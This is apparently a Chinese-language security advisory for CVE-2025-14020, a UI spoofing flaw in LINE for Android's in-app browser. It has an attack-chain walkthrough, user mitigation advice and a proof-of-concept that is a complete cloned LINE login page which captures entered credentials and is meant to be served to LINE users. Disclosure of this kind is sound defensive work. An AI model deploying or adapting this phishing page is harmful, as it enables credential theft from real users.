IPBUF安全漏洞报告
English
CVE-2025-14020 CVSS 5.4 中危

LINE Android客户端 UI欺骗漏洞 (CVE-2025-14020)

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-14020
漏洞类型
UI欺骗/钓鱼攻击
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
LINE client for Android

相关标签

UI欺骗钓鱼攻击LINEAndroid应用内浏览器WebViewCVE-2025-14020安全Toast凭证窃取社交工程

漏洞概述

CVE-2025-14020是LINE公司Android客户端应用内浏览器的一个UI欺骗安全漏洞。该漏洞存在于LINE Android 14.20之前的所有版本中,攻击者可利用应用内浏览器的安全提示机制缺陷,诱骗用户在钓鱼网站上输入敏感信息。漏洞的核心问题在于:当用户从其他应用程序切换回LINE时,应用内浏览器显示的全屏安全Toast通知未能正确重新显示,这使得恶意网页可以完全模拟LINE官方的登录界面或支付页面等高可信度界面。由于LINE在日本及多个亚洲国家拥有数亿活跃用户,该漏洞可能被大规模利用于账号凭证窃取、支付信息诈骗等恶意活动,对用户隐私和财产安全构成严重威胁。LINE安全团队在收到漏洞报告后已于2025年12月15日之前发布了14.20版本修复此问题。

技术细节

该漏洞属于客户端UI欺骗类漏洞,主要影响LINE应用内嵌的WebView浏览器组件。技术层面分析:当用户在LINE应用内浏览器中访问网页时,系统会通过全屏Toast通知向用户展示安全警告信息,提示用户当前页面并非LINE官方页面。然而,当用户切换到其他应用程序(如接听电话、查看短信、切换到其他APP)后再返回LINE时,已显示的安全Toast通知未能自动重新弹出,导致恶意网页可以绕过这一重要的安全提示机制。具体攻击原理如下:攻击者首先诱导目标用户点击LINE消息中的钓鱼链接,该链接指向攻击者控制的恶意网页。恶意网页使用HTML/CSS/JavaScript技术完整克隆LINE官方登录页面或支付界面的视觉设计。由于安全Toast通知已消失且未重新显示,用户无法通过视觉提示识别当前页面的真实性,从而在伪造界面中输入账号、密码、支付信息等敏感数据。攻击者随后获取这些数据用于账号盗取或金融诈骗。此漏洞的利用条件相对较低,用户只需在LINE内点击恶意链接即可触发,攻击成本低但危害性高。

攻击链分析

STEP 1
步骤1: 侦查与准备
攻击者创建钓鱼页面,克隆LINE官方登录界面或支付页面,使用相同的视觉设计、字体、颜色和布局,确保页面看起来与真实LINE页面完全一致。
STEP 2
步骤2: 诱饵投递
攻击者通过LINE消息、群组或社交工程手段向目标用户发送包含钓鱼链接的消息,可能伪装成官方通知、优惠活动或紧急通知以提高点击率。
STEP 3
步骤3: 初始访问
目标用户点击钓鱼链接后,链接在LINE应用内浏览器(WebView)中打开。此时LINE会显示安全Toast通知警告用户这是第三方网站,但如果用户已看到此提示并继续访问,攻击继续进行。
STEP 4
步骤4: 上下文切换触发漏洞
攻击者诱导用户切换到其他应用程序(如查看短信、接电话、切换到其他APP),然后再返回LINE。当用户返回时,已显示的安全Toast通知未能正确重新显示,用户失去了识别钓鱼页面的重要视觉提示。
STEP 5
步骤5: 凭证窃取
由于安全提示消失,用户误以为仍在LINE官方环境中,在伪造的登录界面输入账号、密码或其他敏感信息。攻击者通过JavaScript或表单提交将这些数据传输到远程服务器。
STEP 6
步骤6: 账户接管与后续攻击
攻击者利用窃取的凭证登录用户LINE账户,进行账号盗取、发送垃圾信息、诈骗联系人、访问支付信息等后续恶意活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-14020 PoC - UI Spoofing via In-App Browser // This PoC demonstrates the UI spoofing vulnerability in LINE Android's in-app browser const phishingPage = ` <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>LINE Login</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background: linear-gradient(135deg, #00B900 0%, #00A800 100%); display: flex; justify-content: center; align-items: center; min-height: 100vh; } .login-container { background: white; border-radius: 16px; padding: 40px 30px; width: 90%; max-width: 400px; box-shadow: 0 10px 40px rgba(0,0,0,0.2); } .line-logo { text-align: center; margin-bottom: 30px; } .line-logo img { width: 80px; height: 80px; } h2 { text-align: center; color: #333; margin-bottom: 30px; font-size: 24px; } .input-group { margin-bottom: 20px; } .input-group label { display: block; margin-bottom: 8px; color: #666; font-size: 14px; } .input-group input { width: 100%; padding: 14px; border: 2px solid #e0e0e0; border-radius: 8px; font-size: 16px; transition: border-color 0.3s; } .input-group input:focus { outline: none; border-color: #00B900; } .login-btn { width: 100%; padding: 16px; background: #00B900; color: white; border: none; border-radius: 8px; font-size: 18px; font-weight: bold; cursor: pointer; transition: background 0.3s; } .login-btn:hover { background: #009900; } .security-notice { display: none; // Hidden to simulate missing Toast notification position: fixed; top: 0; left: 0; right: 0; background: #ff3b30; color: white; padding: 10px; text-align: center; font-size: 14px; } </style> </head> <body> <div class="security-notice" id="securityNotice"> ⚠️ Security Warning: You are on a third-party website </div> <div class="login-container"> <div class="line-logo"> <img src="https://scdn.line-apps.com/line/img/ogp/logo.png" alt="LINE"> </div> <h2>LINE Login</h2> <form id="phishingForm"> <div class="input-group"> <label>Email or Phone Number</label> <input type="text" id="credentials" required placeholder="Enter your email or phone"> </div> <div class="input-group"> <label>Password</label> <input type="password" id="password" required placeholder="Enter your password"> </div> <button type="submit" class="login-btn">Log In</button> </form> </div> <script> // Simulate the vulnerability: hide security notice after context switch document.addEventListener('visibilitychange', function() { if (document.hidden) { // User switched apps - security notice should reappear but doesn't console.log('User left the page - Toast should re-display'); } }); // Capture credentials document.getElementById('phishingForm').addEventListener('submit', function(e) { e.preventDefault(); const credentials = document.getElementById('credentials').value; const password = document.getElementById('password').value; // In real attack, send to attacker server console.log('Captured credentials:', { user: credentials, pass: password }); alert('Login successful! (Credentials captured)'); }); </script> </body> </html> `; // Usage: Serve this HTML page via a malicious link sent to LINE users console.log('PoC generated. Serve via web server and send link to LINE Android users.'); console.log('When users return from other apps, security Toast does not re-appear.');

影响范围

LINE Android < 14.20

防御指南

临时缓解措施
临时缓解措施:在等待官方更新期间,用户应避免在LINE应用内浏览器中输入任何敏感信息,包括账号密码、支付信息等。切换应用后返回LINE时,应注意检查是否有安全警告提示。如果发现页面要求输入LINE账号信息,建议直接关闭页面,通过官方APP或官方网站登录。同时,用户应保持LINE应用自动更新功能开启,以便及时获得安全修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表